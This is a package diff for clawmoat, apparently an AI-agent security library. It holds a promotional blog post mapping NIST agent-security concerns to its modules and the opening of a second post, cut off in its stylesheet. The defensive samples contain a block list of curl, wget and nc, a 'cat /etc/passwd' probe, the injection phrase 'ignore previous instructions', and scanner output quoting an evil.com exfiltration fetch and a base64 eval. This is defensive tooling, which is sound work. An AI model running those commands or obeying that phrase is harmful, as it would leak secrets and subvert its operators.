clawmoat 0.5.0 → 0.8.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/CONTRIBUTING.md +4 -2
- package/README.md +86 -3
- package/SECURITY.md +58 -10
- package/bin/clawmoat.js +298 -1
- package/clawmoat-0.8.0.tgz +0 -0
- package/docs/blog/386-malicious-skills.html +255 -0
- package/docs/blog/40000-exposed-openclaw-instances.html +194 -0
- package/docs/blog/agent-trust-protocol.html +197 -0
- package/docs/blog/clawmoat-vs-llamafirewall-nemo-guardrails.html +223 -0
- package/docs/blog/ibm-experts-agent-runtime-protection.html +238 -0
- package/docs/blog/index.html +168 -0
- package/docs/blog/mcp-30-cves-security-crisis.html +279 -0
- package/docs/blog/microsoft-openclaw-workstation-security.html +234 -0
- package/docs/blog/nist-ai-agent-standards-clawmoat.html +369 -0
- package/docs/blog/oasis-websocket-hijack.html +205 -0
- package/docs/blog/ollama-openclaw-security.html +154 -0
- package/docs/blog/openclaw-enterprise-readiness-claw10.html +198 -0
- package/docs/blog/openclaw-security-reckoning-2026.html +361 -0
- package/docs/blog/supply-chain-agents.html +166 -0
- package/docs/blog/supply-chain-agents.md +79 -0
- package/docs/business/index.html +530 -0
- package/docs/business/install.html +247 -0
- package/docs/checklist.html +168 -0
- package/docs/finance/index.html +217 -0
- package/docs/hall-of-fame.html +168 -0
- package/docs/index.html +328 -90
- package/docs/install.sh +557 -0
- package/docs/privacy-policy/index.html +122 -0
- package/docs/scan/index.html +214 -0
- package/docs/sitemap.xml +132 -2
- package/docs/support/index.html +124 -0
- package/docs/terms-of-service/index.html +122 -0
- package/examples/basic-usage.js +38 -0
- package/package.json +1 -1
- package/server/index.js +179 -14
- package/server/index.js.patch +1 -0
- package/src/finance/index.js +585 -0
- package/src/finance/mcp-firewall.js +486 -0
- package/src/guardian/cve-verify.js +129 -0
- package/src/guardian/gateway-monitor.js +590 -0
- package/src/guardian/index.js +3 -1
- package/src/guardian/insider-threat.js +498 -0
- package/src/index.js +3 -0
- package/src/middleware/openclaw.js +28 -1
|
@@ -0,0 +1,369 @@
|
|
|
1
|
+
<!DOCTYPE html>
|
|
2
|
+
<html lang="en">
|
|
3
|
+
<head>
|
|
4
|
+
<link rel="icon" type="image/png" href="/favicon.png">
|
|
5
|
+
<link rel="apple-touch-icon" href="/apple-touch-icon.png">
|
|
6
|
+
<meta charset="UTF-8">
|
|
7
|
+
<meta name="viewport" content="width=device-width, initial-scale=1.0">
|
|
8
|
+
<title>NIST Is Standardizing AI Agent Security — ClawMoat Already Ships It</title>
|
|
9
|
+
<meta name="description" content="NIST launched the AI Agent Standards Initiative on Feb 20, 2026. Every security concern they raised — least privilege, tool validation, prompt injection, supply chain — ClawMoat already ships as open-source middleware.">
|
|
10
|
+
<meta property="og:title" content="NIST Is Standardizing AI Agent Security — ClawMoat Already Ships It">
|
|
11
|
+
<meta property="og:description" content="Every NIST recommendation maps to a ClawMoat module you can npm install today.">
|
|
12
|
+
<meta property="og:type" content="article">
|
|
13
|
+
<meta property="og:url" content="https://clawmoat.com/blog/nist-ai-agent-standards-clawmoat.html">
|
|
14
|
+
<link rel="icon" href="data:image/svg+xml,<svg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 100 100'><text y='.9em' font-size='90'>🏰</text></svg>">
|
|
15
|
+
<style>
|
|
16
|
+
*{margin:0;padding:0;box-sizing:border-box}
|
|
17
|
+
:root{--navy:#0F172A;--navy-light:#1E293B;--navy-mid:#334155;--blue:#3B82F6;--emerald:#10B981;--white:#F8FAFC;--gray:#94A3B8;--red:#EF4444;--amber:#F59E0B}
|
|
18
|
+
body{font-family:-apple-system,BlinkMacSystemFont,'Segoe UI',Roboto,sans-serif;background:var(--navy);color:var(--white);line-height:1.7}
|
|
19
|
+
a{color:var(--blue);text-decoration:none}
|
|
20
|
+
a:hover{text-decoration:underline}
|
|
21
|
+
.container{max-width:760px;margin:0 auto;padding:0 24px}
|
|
22
|
+
|
|
23
|
+
nav{position:fixed;top:0;left:0;right:0;z-index:100;background:rgba(15,23,42,.95);backdrop-filter:blur(12px);border-bottom:1px solid rgba(59,130,246,.15);padding:16px 0}
|
|
24
|
+
nav .inner{max-width:760px;margin:0 auto;padding:0 24px;display:flex;align-items:center;justify-content:space-between}
|
|
25
|
+
.logo{font-size:1.25rem;font-weight:700;color:var(--white)}
|
|
26
|
+
.logo span{color:var(--emerald)}
|
|
27
|
+
.nav-links{display:flex;gap:24px}
|
|
28
|
+
.nav-links a{color:var(--gray);font-size:.9rem}
|
|
29
|
+
.nav-links a:hover{color:var(--white);text-decoration:none}
|
|
30
|
+
|
|
31
|
+
article{padding:120px 0 80px}
|
|
32
|
+
.meta{color:var(--gray);font-size:.9rem;margin-bottom:32px}
|
|
33
|
+
article h1{font-size:clamp(1.8rem,4vw,2.4rem);font-weight:800;line-height:1.2;margin-bottom:12px;letter-spacing:-.02em}
|
|
34
|
+
article h2{font-size:1.4rem;font-weight:700;margin:48px 0 16px;color:var(--white)}
|
|
35
|
+
article h3{font-size:1.15rem;font-weight:700;margin:32px 0 12px;color:var(--white)}
|
|
36
|
+
article p{color:var(--gray);font-size:1rem;margin-bottom:16px}
|
|
37
|
+
article strong{color:var(--white)}
|
|
38
|
+
article em{color:var(--gray)}
|
|
39
|
+
article ul,article ol{color:var(--gray);margin:0 0 16px 24px}
|
|
40
|
+
article li{margin-bottom:8px}
|
|
41
|
+
article hr{border:none;border-top:1px solid var(--navy-mid);margin:48px 0}
|
|
42
|
+
|
|
43
|
+
pre{background:#0a0e17;border:1px solid var(--navy-mid);border-radius:10px;padding:20px;overflow-x:auto;margin:16px 0 24px;font-size:.85rem;line-height:1.7}
|
|
44
|
+
code{font-family:'SF Mono',Consolas,monospace;font-size:.9em}
|
|
45
|
+
pre code{color:var(--gray)}
|
|
46
|
+
p code{background:var(--navy-light);padding:2px 6px;border-radius:4px;font-size:.85em;color:var(--emerald)}
|
|
47
|
+
|
|
48
|
+
.nist-box{background:var(--navy-light);border-left:3px solid var(--amber);border-radius:0 10px 10px 0;padding:16px 20px;margin:16px 0}
|
|
49
|
+
.nist-box .label{color:var(--amber);font-weight:700;font-size:.85rem;text-transform:uppercase;letter-spacing:.05em;margin-bottom:6px}
|
|
50
|
+
.nist-box p{margin-bottom:0;font-size:.95rem}
|
|
51
|
+
|
|
52
|
+
.ships-box{background:rgba(16,185,129,.06);border-left:3px solid var(--emerald);border-radius:0 10px 10px 0;padding:16px 20px;margin:16px 0}
|
|
53
|
+
.ships-box .label{color:var(--emerald);font-weight:700;font-size:.85rem;text-transform:uppercase;letter-spacing:.05em;margin-bottom:6px}
|
|
54
|
+
.ships-box p{margin-bottom:0;font-size:.95rem}
|
|
55
|
+
|
|
56
|
+
table{width:100%;border-collapse:collapse;margin:16px 0 24px;font-size:.9rem}
|
|
57
|
+
th{text-align:left;padding:10px 12px;border-bottom:2px solid var(--navy-mid);color:var(--white);font-weight:600}
|
|
58
|
+
td{padding:8px 12px;border-bottom:1px solid var(--navy-mid);color:var(--gray)}
|
|
59
|
+
tr:hover td{background:rgba(59,130,246,.04)}
|
|
60
|
+
|
|
61
|
+
.tags{display:flex;gap:8px;margin-top:32px;flex-wrap:wrap}
|
|
62
|
+
.tag{background:rgba(59,130,246,.12);color:var(--blue);padding:4px 12px;border-radius:20px;font-size:.8rem}
|
|
63
|
+
|
|
64
|
+
.back{display:inline-flex;align-items:center;gap:6px;color:var(--gray);font-size:.9rem;margin-bottom:24px}
|
|
65
|
+
.back:hover{color:var(--white);text-decoration:none}
|
|
66
|
+
|
|
67
|
+
.cta{background:linear-gradient(135deg,rgba(59,130,246,.15),rgba(16,185,129,.15));border:1px solid rgba(59,130,246,.3);border-radius:12px;padding:32px;margin:32px 0;text-align:center}
|
|
68
|
+
.cta h3{margin-top:0;font-size:1.3rem}
|
|
69
|
+
.cta p{font-size:.95rem}
|
|
70
|
+
.cta code{font-size:1rem}
|
|
71
|
+
|
|
72
|
+
.timeline{position:relative;padding-left:24px;margin:16px 0 24px}
|
|
73
|
+
.timeline::before{content:'';position:absolute;left:6px;top:4px;bottom:4px;width:2px;background:var(--navy-mid)}
|
|
74
|
+
.timeline .event{position:relative;margin-bottom:16px}
|
|
75
|
+
.timeline .event::before{content:'';position:absolute;left:-22px;top:6px;width:10px;height:10px;border-radius:50%;background:var(--amber)}
|
|
76
|
+
.timeline .event strong{color:var(--white)}
|
|
77
|
+
|
|
78
|
+
footer{border-top:1px solid rgba(255,255,255,.06);padding:32px 0;color:var(--gray);font-size:.85rem;text-align:center}
|
|
79
|
+
</style>
|
|
80
|
+
</head>
|
|
81
|
+
<body>
|
|
82
|
+
|
|
83
|
+
<nav>
|
|
84
|
+
<div class="inner">
|
|
85
|
+
<a href="/" class="logo">🏰 Claw<span>Moat</span></a>
|
|
86
|
+
<div class="nav-links">
|
|
87
|
+
<a href="/">Home</a>
|
|
88
|
+
<a href="/blog/">Blog</a>
|
|
89
|
+
<a href="https://github.com/darfaz/clawmoat">GitHub</a>
|
|
90
|
+
</div>
|
|
91
|
+
</div>
|
|
92
|
+
</nav>
|
|
93
|
+
|
|
94
|
+
<div class="container">
|
|
95
|
+
<article>
|
|
96
|
+
<a href="/blog/" class="back">← Back to Blog</a>
|
|
97
|
+
<h1>NIST Is Standardizing AI Agent Security — ClawMoat Already Ships It</h1>
|
|
98
|
+
<div class="meta">February 28, 2026 · 10 min read</div>
|
|
99
|
+
|
|
100
|
+
<p>On February 20, 2026, NIST's Center for AI Standards and Innovation (CAISI) <a href="https://www.nist.gov/news-events/news/2026/02/announcing-ai-agent-standards-initiative-interoperable-and-secure">launched the AI Agent Standards Initiative</a> — the U.S. government's first formal effort to standardize security for autonomous AI agents. The initiative includes an <a href="https://www.nist.gov/news-events/news/2026/01/caisi-issues-request-information-about-securing-ai-agent-systems">RFI on AI Agent Security</a> (docket NIST-2025-0035, comments due March 9), a <a href="https://www.nccoe.nist.gov/projects/software-and-ai-agent-identity-and-authorization">draft concept paper on Agent Identity and Authorization</a> from NCCoE (due April 2), and upcoming listening sessions for healthcare, finance, and education.</p>
|
|
101
|
+
|
|
102
|
+
<p>This is a big deal. The federal government is saying: <strong>AI agents that take autonomous actions present unique security challenges</strong>, and we need standards for them.</p>
|
|
103
|
+
|
|
104
|
+
<p>We agree. That's why we've been shipping those standards as open-source code since January 2026.</p>
|
|
105
|
+
|
|
106
|
+
<p>Here's every security concern NIST raised — and the ClawMoat module that already addresses it.</p>
|
|
107
|
+
|
|
108
|
+
<hr>
|
|
109
|
+
|
|
110
|
+
<h2>1. Constraining Agent Access in Deployment Environments</h2>
|
|
111
|
+
|
|
112
|
+
<div class="nist-box">
|
|
113
|
+
<div class="label">📋 What NIST Says</div>
|
|
114
|
+
<p>The RFI asks about <em>"interventions in deployment environments to address security risks affecting AI agent systems, including methods to <strong>constrain and monitor the extent of agent access</strong> in the deployment environment."</em><br>— <a href="https://www.nist.gov/news-events/news/2026/01/caisi-issues-request-information-about-securing-ai-agent-systems">NIST CAISI RFI, January 2026</a></p>
|
|
115
|
+
</div>
|
|
116
|
+
|
|
117
|
+
<div class="ships-box">
|
|
118
|
+
<div class="label">🏰 What ClawMoat Ships</div>
|
|
119
|
+
<p><strong>Host Guardian</strong> — four permission tiers that constrain what an AI agent can do on the host system, from full lockdown to controlled access.</p>
|
|
120
|
+
</div>
|
|
121
|
+
|
|
122
|
+
<pre><code>import { createHostGuardian } from 'clawmoat';
|
|
123
|
+
|
|
124
|
+
const guardian = createHostGuardian({
|
|
125
|
+
tier: 'restricted', // lockdown | restricted | standard | trusted
|
|
126
|
+
rules: {
|
|
127
|
+
filesystem: { writable: ['/tmp', './workspace'], blocked: ['~/.ssh', '~/.aws'] },
|
|
128
|
+
network: { allowedHosts: ['api.openai.com', 'github.com'] },
|
|
129
|
+
processes: { blocked: ['curl', 'wget', 'nc'] },
|
|
130
|
+
env: { redact: ['AWS_SECRET_ACCESS_KEY', 'DATABASE_URL'] }
|
|
131
|
+
}
|
|
132
|
+
});
|
|
133
|
+
|
|
134
|
+
// Every agent action passes through the guardian
|
|
135
|
+
const result = await guardian.evaluate({
|
|
136
|
+
action: 'exec',
|
|
137
|
+
command: 'cat /etc/passwd'
|
|
138
|
+
});
|
|
139
|
+
// → { allowed: false, reason: 'Path /etc/passwd outside permitted directories' }</code></pre>
|
|
140
|
+
|
|
141
|
+
<p>Four tiers from <code>lockdown</code> (zero external access) to <code>trusted</code> (full access with audit logging). Most deployments run <code>restricted</code> — the agent can read docs and call APIs, but can't touch SSH keys, spawn reverse shells, or exfiltrate environment variables.</p>
|
|
142
|
+
|
|
143
|
+
<h2>2. Tool Validation and Authorization</h2>
|
|
144
|
+
|
|
145
|
+
<div class="nist-box">
|
|
146
|
+
<div class="label">📋 What NIST Says</div>
|
|
147
|
+
<p>The NCCoE concept paper focuses on how to <em>"identify, manage, and authorize access and actions taken by software agents, including AI agents"</em> — specifically, controlling what tools agents can invoke and what those tools can do.<br>— <a href="https://www.nccoe.nist.gov/projects/software-and-ai-agent-identity-and-authorization">NCCoE Draft Concept Paper, February 2026</a></p>
|
|
148
|
+
</div>
|
|
149
|
+
|
|
150
|
+
<div class="ships-box">
|
|
151
|
+
<div class="label">🏰 What ClawMoat Ships</div>
|
|
152
|
+
<p><strong>McpFirewall</strong> — intercepts every MCP tool call with allowlisting, read-only enforcement, argument validation, and rate limiting.</p>
|
|
153
|
+
</div>
|
|
154
|
+
|
|
155
|
+
<pre><code>import { McpFirewall } from 'clawmoat';
|
|
156
|
+
|
|
157
|
+
const firewall = new McpFirewall({
|
|
158
|
+
tools: {
|
|
159
|
+
'database_query': { mode: 'read-only', blocked: ['DROP', 'DELETE', 'TRUNCATE'] },
|
|
160
|
+
'file_write': { allowed: false },
|
|
161
|
+
'web_search': { rateLimit: { max: 10, windowMs: 60000 } },
|
|
162
|
+
'send_email': { requireApproval: true }
|
|
163
|
+
},
|
|
164
|
+
defaultPolicy: 'deny' // Unknown tools are blocked by default
|
|
165
|
+
});
|
|
166
|
+
|
|
167
|
+
// Wraps any MCP server
|
|
168
|
+
const safeMcp = firewall.wrap(mcpServer);
|
|
169
|
+
|
|
170
|
+
// Agent tries: DELETE FROM users WHERE 1=1
|
|
171
|
+
// → Blocked: write operation matches pattern "DELETE" on read-only tool</code></pre>
|
|
172
|
+
|
|
173
|
+
<p>McpFirewall recognizes <strong>29 write-operation patterns</strong> across SQL, filesystem, and API calls. It can enforce read-only mode on database tools while allowing search tools — with per-tool rate limits to prevent data exfiltration through volume.</p>
|
|
174
|
+
|
|
175
|
+
<h2>3. Adversarial Data and Prompt Injection</h2>
|
|
176
|
+
|
|
177
|
+
<div class="nist-box">
|
|
178
|
+
<div class="label">📋 What NIST Says</div>
|
|
179
|
+
<p><em>"This includes risks from models interacting with adversarial data (such as in <strong>indirect prompt injection</strong>), risks from the use of insecure models (such as models that have been subject to data poisoning)."</em><br>— <a href="https://www.nist.gov/news-events/news/2026/01/caisi-issues-request-information-about-securing-ai-agent-systems">NIST CAISI RFI, January 2026</a></p>
|
|
180
|
+
</div>
|
|
181
|
+
|
|
182
|
+
<div class="ships-box">
|
|
183
|
+
<div class="label">🏰 What ClawMoat Ships</div>
|
|
184
|
+
<p><strong>Prompt Injection Scanner</strong> — pattern-based detection of injection attempts in tool outputs, user inputs, and retrieved documents before they reach the model.</p>
|
|
185
|
+
</div>
|
|
186
|
+
|
|
187
|
+
<pre><code>import { PromptInjectionScanner } from 'clawmoat';
|
|
188
|
+
|
|
189
|
+
const scanner = new PromptInjectionScanner();
|
|
190
|
+
|
|
191
|
+
// Scan tool output before feeding it back to the agent
|
|
192
|
+
const toolOutput = await mcpTool.call('web_scrape', { url: untrustedUrl });
|
|
193
|
+
const scan = scanner.scan(toolOutput);
|
|
194
|
+
|
|
195
|
+
if (scan.injectionDetected) {
|
|
196
|
+
console.log(scan.threats);
|
|
197
|
+
// → [{ type: 'instruction_override', pattern: 'ignore previous instructions',
|
|
198
|
+
// severity: 'critical', location: 'line 47' }]
|
|
199
|
+
// Quarantine or sanitize before passing to model
|
|
200
|
+
}</code></pre>
|
|
201
|
+
|
|
202
|
+
<p>The scanner detects role hijacking, instruction overrides, data exfiltration attempts, and encoding-based evasion. It runs in <2ms per scan — fast enough to sit in the hot path of every tool call without latency impact.</p>
|
|
203
|
+
|
|
204
|
+
<h2>4. Data Protection and Sensitive Information</h2>
|
|
205
|
+
|
|
206
|
+
<div class="nist-box">
|
|
207
|
+
<div class="label">📋 What NIST Says</div>
|
|
208
|
+
<p>The Initiative highlights sector-specific concerns in <strong>healthcare, finance, and education</strong>, with listening sessions planned to identify barriers to secure AI adoption in these regulated industries.<br>— <a href="https://www.nist.gov/caisi/ai-agent-standards-initiative">NIST AI Agent Standards Initiative, February 2026</a></p>
|
|
209
|
+
</div>
|
|
210
|
+
|
|
211
|
+
<div class="ships-box">
|
|
212
|
+
<div class="label">🏰 What ClawMoat Ships</div>
|
|
213
|
+
<p><strong>Secret Scanner</strong> and <strong>FinanceGuard</strong> — field-level redaction of credentials, PII, and financial data before it leaves the agent's context.</p>
|
|
214
|
+
</div>
|
|
215
|
+
|
|
216
|
+
<pre><code>import { SecretScanner, FinanceGuard } from 'clawmoat';
|
|
217
|
+
|
|
218
|
+
// Secret Scanner: catches API keys, tokens, passwords in any text
|
|
219
|
+
const secrets = new SecretScanner();
|
|
220
|
+
const result = secrets.scan(agentOutput);
|
|
221
|
+
// → Detects: AWS keys, GitHub tokens, JWTs, database URLs, SSNs, credit cards
|
|
222
|
+
|
|
223
|
+
// FinanceGuard: specialized for financial data in agent workflows
|
|
224
|
+
const finance = new FinanceGuard({
|
|
225
|
+
redact: ['account_number', 'routing_number', 'ssn', 'credit_card'],
|
|
226
|
+
audit: true, // Log every redaction for SOX/PCI compliance
|
|
227
|
+
allowFields: ['transaction_date', 'amount', 'category']
|
|
228
|
+
});
|
|
229
|
+
|
|
230
|
+
const safeOutput = finance.process(agentResponse);
|
|
231
|
+
// "Transfer $5,000 from account 7834-2291-0054 routing 021000021"
|
|
232
|
+
// → "Transfer $5,000 from account [REDACTED] routing [REDACTED]"</code></pre>
|
|
233
|
+
|
|
234
|
+
<p>FinanceGuard generates <strong>SOX and PCI-DSS compliance reports</strong> automatically — every redaction is logged with timestamp, field type, and context. When NIST's listening sessions identify requirements for finance-sector AI agents, this is the kind of infrastructure they'll recommend.</p>
|
|
235
|
+
|
|
236
|
+
<h2>5. Supply Chain Security</h2>
|
|
237
|
+
|
|
238
|
+
<div class="nist-box">
|
|
239
|
+
<div class="label">📋 What NIST Says</div>
|
|
240
|
+
<p><em>"Risks from the use of insecure models (such as models that have been subject to <strong>data poisoning</strong>)"</em> — and more broadly, the NIST AI RMF (AI 600-1) GenAI Profile identifies supply chain integrity as a core risk management action area, with <strong>200+ suggested actions</strong>.<br>— <a href="https://airc.nist.gov/technical-reports/">NIST AI 600-1 GenAI Profile</a></p>
|
|
241
|
+
</div>
|
|
242
|
+
|
|
243
|
+
<div class="ships-box">
|
|
244
|
+
<div class="label">🏰 What ClawMoat Ships</div>
|
|
245
|
+
<p><strong>Skill Integrity Checker</strong> — hash verification and behavioral analysis of AI agent skills/plugins before installation.</p>
|
|
246
|
+
</div>
|
|
247
|
+
|
|
248
|
+
<pre><code>import { SkillIntegrityChecker } from 'clawmoat';
|
|
249
|
+
|
|
250
|
+
const checker = new SkillIntegrityChecker();
|
|
251
|
+
|
|
252
|
+
const audit = await checker.scan('./skills/untrusted-plugin/');
|
|
253
|
+
// Checks for 14 suspicious patterns:
|
|
254
|
+
// - Obfuscated code (base64 decode, eval, Function constructor)
|
|
255
|
+
// - Network exfiltration (fetch to unknown hosts, DNS tunneling)
|
|
256
|
+
// - File system access outside workspace
|
|
257
|
+
// - Environment variable harvesting
|
|
258
|
+
// - Cryptocurrency mining signatures
|
|
259
|
+
// - Hidden process spawning
|
|
260
|
+
// - Permission escalation attempts
|
|
261
|
+
|
|
262
|
+
console.log(audit);
|
|
263
|
+
// → { safe: false, threats: 3, details: [
|
|
264
|
+
// { pattern: 'env_harvesting', file: 'index.js', line: 42,
|
|
265
|
+
// code: 'Object.entries(process.env).forEach(...)' },
|
|
266
|
+
// { pattern: 'network_exfil', file: 'utils.js', line: 17,
|
|
267
|
+
// code: 'fetch("https://evil.com/collect", { body: data })' },
|
|
268
|
+
// { pattern: 'obfuscated_code', file: 'helper.js', line: 3,
|
|
269
|
+
// code: 'eval(Buffer.from("...", "base64").toString())' }
|
|
270
|
+
// ]}</code></pre>
|
|
271
|
+
|
|
272
|
+
<p>We've already used this to audit the OpenClaw skill ecosystem and found <a href="/blog/386-malicious-skills.html">386 malicious skills</a> with patterns ranging from credential theft to cryptocurrency mining. The scanner catches what <code>npm audit</code> misses because it analyzes <em>behavior</em>, not just known CVEs.</p>
|
|
273
|
+
|
|
274
|
+
<h2>6. Monitoring and Audit Trails</h2>
|
|
275
|
+
|
|
276
|
+
<div class="nist-box">
|
|
277
|
+
<div class="label">📋 What NIST Says</div>
|
|
278
|
+
<p>The Initiative's three strategic pillars include <em>"advancing research in areas of AI agent <strong>security and identity</strong> to enable new use cases and to promote <strong>trusted adoption</strong> across sectors."</em> The RFI specifically asks about <em>"methods for <strong>measuring the security</strong> of AI agent systems."</em><br>— <a href="https://www.nist.gov/caisi/ai-agent-standards-initiative">NIST AI Agent Standards Initiative, February 2026</a></p>
|
|
279
|
+
</div>
|
|
280
|
+
|
|
281
|
+
<div class="ships-box">
|
|
282
|
+
<div class="label">🏰 What ClawMoat Ships</div>
|
|
283
|
+
<p><strong>Network Egress Logger</strong> and full audit trail with compliance report generation.</p>
|
|
284
|
+
</div>
|
|
285
|
+
|
|
286
|
+
<pre><code>import { NetworkEgressLogger, ComplianceReporter } from 'clawmoat';
|
|
287
|
+
|
|
288
|
+
// Log every outbound connection the agent makes
|
|
289
|
+
const egress = new NetworkEgressLogger({
|
|
290
|
+
logFile: './audit/network-egress.jsonl',
|
|
291
|
+
alertOn: { unknownHosts: true, highVolume: true, unusualPorts: true }
|
|
292
|
+
});
|
|
293
|
+
|
|
294
|
+
// Generate compliance reports
|
|
295
|
+
const reporter = new ComplianceReporter({
|
|
296
|
+
framework: 'SOX', // or 'PCI-DSS', 'HIPAA'
|
|
297
|
+
period: 'monthly',
|
|
298
|
+
include: ['tool_calls', 'data_access', 'redactions', 'blocked_actions']
|
|
299
|
+
});
|
|
300
|
+
|
|
301
|
+
const report = await reporter.generate();
|
|
302
|
+
// → Structured report: 4,291 tool calls, 847 redactions,
|
|
303
|
+
// 23 blocked actions, 0 data exfiltration attempts
|
|
304
|
+
// Exportable as PDF, JSON, or CSV</code></pre>
|
|
305
|
+
|
|
306
|
+
<p>Every ClawMoat module writes to a unified audit log. When a regulator asks "what did your AI agent do with customer data last Tuesday?" — you have the answer in milliseconds, not weeks.</p>
|
|
307
|
+
|
|
308
|
+
<hr>
|
|
309
|
+
|
|
310
|
+
<h2>The Full Mapping</h2>
|
|
311
|
+
|
|
312
|
+
<table>
|
|
313
|
+
<thead>
|
|
314
|
+
<tr><th>NIST Concern</th><th>Document</th><th>ClawMoat Module</th><th>Status</th></tr>
|
|
315
|
+
</thead>
|
|
316
|
+
<tbody>
|
|
317
|
+
<tr><td>Constrain agent access</td><td>CAISI RFI</td><td>Host Guardian (4 tiers)</td><td style="color:var(--emerald)">✅ Shipping</td></tr>
|
|
318
|
+
<tr><td>Tool authorization</td><td>NCCoE Concept Paper</td><td>McpFirewall</td><td style="color:var(--emerald)">✅ Shipping</td></tr>
|
|
319
|
+
<tr><td>Prompt injection</td><td>CAISI RFI</td><td>Prompt Injection Scanner</td><td style="color:var(--emerald)">✅ Shipping</td></tr>
|
|
320
|
+
<tr><td>Data protection (PII/financial)</td><td>Listening Sessions</td><td>Secret Scanner + FinanceGuard</td><td style="color:var(--emerald)">✅ Shipping</td></tr>
|
|
321
|
+
<tr><td>Supply chain integrity</td><td>AI 600-1 / RFI</td><td>Skill Integrity Checker</td><td style="color:var(--emerald)">✅ Shipping</td></tr>
|
|
322
|
+
<tr><td>Security measurement</td><td>CAISI RFI</td><td>Network Egress Logger + Audit</td><td style="color:var(--emerald)">✅ Shipping</td></tr>
|
|
323
|
+
<tr><td>Agent identity</td><td>NCCoE Concept Paper</td><td>Audit trail per-agent</td><td style="color:var(--emerald)">✅ Shipping</td></tr>
|
|
324
|
+
<tr><td>Sector-specific (finance)</td><td>Listening Sessions</td><td>FinanceGuard + SOX/PCI reports</td><td style="color:var(--emerald)">✅ Shipping</td></tr>
|
|
325
|
+
</tbody>
|
|
326
|
+
</table>
|
|
327
|
+
|
|
328
|
+
<h2>What This Means</h2>
|
|
329
|
+
|
|
330
|
+
<p>NIST is doing the right thing. AI agents that can <em>"work autonomously for hours, write and debug code, manage emails and calendars, and shop for goods"</em> (their words) need security standards. The RFI, the NCCoE concept paper, the listening sessions — this is how good policy gets made.</p>
|
|
331
|
+
|
|
332
|
+
<p>But standards take time. The RFI closes March 9. The concept paper comments close April 2. Guidelines will follow months or years later. Meanwhile, agents are running in production <em>right now</em>, handling real data, making real API calls, accessing real systems.</p>
|
|
333
|
+
|
|
334
|
+
<p><strong>We're not waiting for the standards. We're shipping them.</strong></p>
|
|
335
|
+
|
|
336
|
+
<p>ClawMoat is open-source, MIT-licensed, and works with any AI agent framework. Every module described above is in npm today. If NIST's final guidelines recommend something we haven't built yet, we'll build it. If they recommend something better than what we have, we'll adopt it.</p>
|
|
337
|
+
|
|
338
|
+
<p>But we're not going to leave agents unprotected while the comment period runs.</p>
|
|
339
|
+
|
|
340
|
+
<div class="cta">
|
|
341
|
+
<h3>Start Securing Your Agents Today</h3>
|
|
342
|
+
<p>Every NIST recommendation above is available as a single npm install.</p>
|
|
343
|
+
<pre><code>npm install clawmoat</code></pre>
|
|
344
|
+
<p style="margin-top:16px">
|
|
345
|
+
<a href="https://github.com/darfaz/clawmoat" style="color:var(--white);background:var(--blue);padding:10px 24px;border-radius:8px;font-weight:600;display:inline-block;margin:4px">⭐ Star on GitHub</a>
|
|
346
|
+
<a href="/scan/" style="color:var(--white);background:var(--emerald);padding:10px 24px;border-radius:8px;font-weight:600;display:inline-block;margin:4px">🔍 Free Security Scan</a>
|
|
347
|
+
</p>
|
|
348
|
+
</div>
|
|
349
|
+
|
|
350
|
+
<div class="tags">
|
|
351
|
+
<span class="tag">NIST</span>
|
|
352
|
+
<span class="tag">CAISI</span>
|
|
353
|
+
<span class="tag">AI-agent-security</span>
|
|
354
|
+
<span class="tag">standards</span>
|
|
355
|
+
<span class="tag">compliance</span>
|
|
356
|
+
<span class="tag">least-privilege</span>
|
|
357
|
+
</div>
|
|
358
|
+
|
|
359
|
+
</article>
|
|
360
|
+
</div>
|
|
361
|
+
|
|
362
|
+
<footer>
|
|
363
|
+
<div class="container">
|
|
364
|
+
© 2026 ClawMoat · <a href="https://github.com/darfaz/clawmoat">GitHub</a> · <a href="/privacy-policy/">Privacy</a> · <a href="/terms-of-service/">Terms</a>
|
|
365
|
+
</div>
|
|
366
|
+
</footer>
|
|
367
|
+
|
|
368
|
+
</body>
|
|
369
|
+
</html>
|
|
@@ -0,0 +1,205 @@
|
|
|
1
|
+
<!DOCTYPE html>
|
|
2
|
+
<html lang="en">
|
|
3
|
+
<head>
|
|
4
|
+
<meta charset="UTF-8">
|
|
5
|
+
<meta name="viewport" content="width=device-width, initial-scale=1.0">
|
|
6
|
+
<title>Any Website Can Hijack Your OpenClaw Agent — How ClawMoat Detects It | ClawMoat</title>
|
|
7
|
+
<meta name="description" content="Oasis Security found a zero-click attack: any website can take full control of your OpenClaw agent via WebSocket. ClawMoat v0.7.1 now detects this attack.">
|
|
8
|
+
<meta property="og:title" content="Any Website Can Hijack Your OpenClaw Agent — How to Detect and Prevent It">
|
|
9
|
+
<meta property="og:description" content="Oasis Security found a zero-click WebSocket hijack. ClawMoat v0.7.1 adds gateway monitoring to detect brute-force attacks and unauthorized device pairings.">
|
|
10
|
+
<meta property="og:type" content="article">
|
|
11
|
+
<meta property="og:url" content="https://clawmoat.com/blog/oasis-websocket-hijack.html">
|
|
12
|
+
<link rel="canonical" href="https://clawmoat.com/blog/oasis-websocket-hijack.html">
|
|
13
|
+
<style>
|
|
14
|
+
:root { --bg: #0a0a0f; --fg: #e0e0e8; --accent: #00d4aa; --muted: #888; --card: #14141f; --red: #ff4444; }
|
|
15
|
+
* { margin:0; padding:0; box-sizing:border-box; }
|
|
16
|
+
body { background:var(--bg); color:var(--fg); font-family:-apple-system,BlinkMacSystemFont,'Segoe UI',Roboto,sans-serif; line-height:1.7; }
|
|
17
|
+
.container { max-width:740px; margin:0 auto; padding:2rem 1.5rem; }
|
|
18
|
+
h1 { font-size:2.2rem; line-height:1.2; margin-bottom:.5rem; }
|
|
19
|
+
.meta { color:var(--muted); margin-bottom:2rem; }
|
|
20
|
+
h2 { color:var(--accent); margin:2rem 0 1rem; font-size:1.5rem; }
|
|
21
|
+
h3 { margin:1.5rem 0 .75rem; font-size:1.2rem; }
|
|
22
|
+
p { margin-bottom:1rem; }
|
|
23
|
+
a { color:var(--accent); }
|
|
24
|
+
code { background:#1a1a2e; padding:.15em .4em; border-radius:4px; font-size:.9em; }
|
|
25
|
+
pre { background:#1a1a2e; padding:1.25rem; border-radius:8px; overflow-x:auto; margin:1rem 0; }
|
|
26
|
+
pre code { background:none; padding:0; }
|
|
27
|
+
blockquote { border-left:3px solid var(--accent); padding-left:1rem; margin:1rem 0; color:#bbb; font-style:italic; }
|
|
28
|
+
.warning { background:#2a1a1a; border:1px solid var(--red); border-radius:8px; padding:1.25rem; margin:1.5rem 0; }
